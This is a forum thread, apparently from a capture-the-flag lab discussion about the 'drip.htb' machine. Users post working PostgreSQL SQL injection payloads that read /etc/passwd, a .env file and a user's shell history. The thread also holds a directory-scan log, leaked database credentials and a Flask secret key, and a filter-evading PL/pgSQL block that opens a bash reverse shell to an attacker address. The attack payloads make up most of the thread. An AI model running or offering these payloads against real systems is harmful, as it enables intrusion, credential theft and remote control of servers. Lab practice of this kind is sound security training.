[jonklem]

''; SELECT pg_read_file('/etc/passwd', 0, 1000); works. may be able to exfiltrate a configuration file

[0xbeef]

http://dev-a3f1-01.drip.htb/login

How did you get this ?

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching.

[ThreeCleaves]

http://dev-a3f1-01.drip.htb/login

How did you get this ?

it was in bcase's email.

[jonklem]

''; SELECT pg_read_file('/var/www/html/dashboard/.env', 0, 10000); --

gives us:
# True for development, False for production
DEBUG=False

# Flask ENV
FLASK_APP=run.py
FLASK_ENV=development

# If not provided, a random one is generated
# SECRET_KEY=<YOUR_SUPER_KEY_HERE>

# Used for CDN (in production)
# No Slash at the end
ASSETS_ROOT=/static/assets

# If DB credentials (if NOT provided, or wrong values SQLite is used)
DB_ENGINE=postgresql
DB_HOST=localhost
DB_NAME=dripmail
DB_USERNAME=dripmail_dba
DB_PASS=2Qa2SsBkQvsc
DB_PORT=5432

SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail'
SQLALCHEMY_TRACK_MODIFICATIONS = True
SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq'
MAIL_SERVER = 'drip.htb'
MAIL_PORT = 25
MAIL_USE_TLS = False
MAIL_USE_SSL = False
MAIL_USERNAME = None
MAIL_PASSWORD = None
MAIL_DEFAULT_SENDER = '[email protected]'

[LiTEE]

http://dev-a3f1-01.drip.htb/login

How did you get this ?

it was in bcase's email.

or curl http://drip.darkcorp.htb/dashboard/apps/.../routes.py

[0xbeef]

http://dev-a3f1-01.drip.htb/login

How did you get this ?

it was in bcase's email.

Got it now, thanks

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching.

[darknesst]

we can use this command to ls directories from the SQL injection point
''; SELECT * FROM pg_ls_dir('/etc/'); --

[fr34cker]

''; SELECT * FROM pg_read_file('/home/ebelford/.bash_history')

[hijoxi6719]

DO $$
DECLARE
    c text;
BEGIN
    c := CHR(67) || CHR(79) || CHR(80) || CHR(89) ||
        ' (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.XX.XX/PORT 0>&1"''';
    EXECUTE c;
END $$;

Reverse shell via SQLi with "WAF" bypass

[samuelballsiu1]

[22:01:07] Starting: dashboard/
[22:01:15] 200 -  796B  - /dashboard/.env
[22:01:46] 301 -  169B  - /dashboard/__pycache__  ->  http://drip.darkcorp.htb/dashboard/__pycache__/
[22:02:35] 301 -  169B  - /dashboard/apps  ->  http://drip.darkcorp.htb/dashboard/apps/
[22:04:04] 301 -  169B  - /dashboard/media  ->  http://drip.darkcorp.htb/dashboard/media/
[22:04:36] 200 -  330B  - /dashboard/requirements.txt

http://drip.darkcorp.htb/dashboard/.env

# True for development, False for production
DEBUG=False

# Flask ENV
FLASK_APP=run.py
FLASK_ENV=development

# If not provided, a random one is generated
# SECRET_KEY=<YOUR_SUPER_KEY_HERE>

# Used for CDN (in production)
# No Slash at the end
ASSETS_ROOT=/static/assets

# If DB credentials (if NOT provided, or wrong values SQLite is used)
DB_ENGINE=postgresql
DB_HOST=localhost
DB_NAME=dripmail
DB_USERNAME=dripmail_dba
DB_PASS=2Qa2SsBkQvsc
DB_PORT=5432

SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail'
SQLALCHEMY_TRACK_MODIFICATIONS = True
SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq'
MAIL_SERVER = 'drip.htb'
MAIL_PORT = 25
MAIL_USE_TLS = False
MAIL_USE_SSL = False
MAIL_USERNAME = None
MAIL_PASSWORD = None
MAIL_DEFAULT_SENDER = '[email protected]'

http://drip.darkcorp.htb/dashboard/requirements.txt

flask==2.2.5
Werkzeug==2.3.7
jinja2==3.1.2
flask-login==0.6.2
flask_migrate==4.0.4
WTForms==3.0.1
flask_wtf==1.2.1
flask-sqlalchemy==3.0.5
sqlalchemy==2.0.21
email_validator==2.0.0
flask-restx==1.1.0

python-dotenv==0.19.2

gunicorn==20.1.0
Flask-Minify==0.37

flask-dance==7.0.0
blinker==1.6.2

# flask_mysqldb
# psycopg2-binary

How did you even found out the http://drip.darkcorp.htb?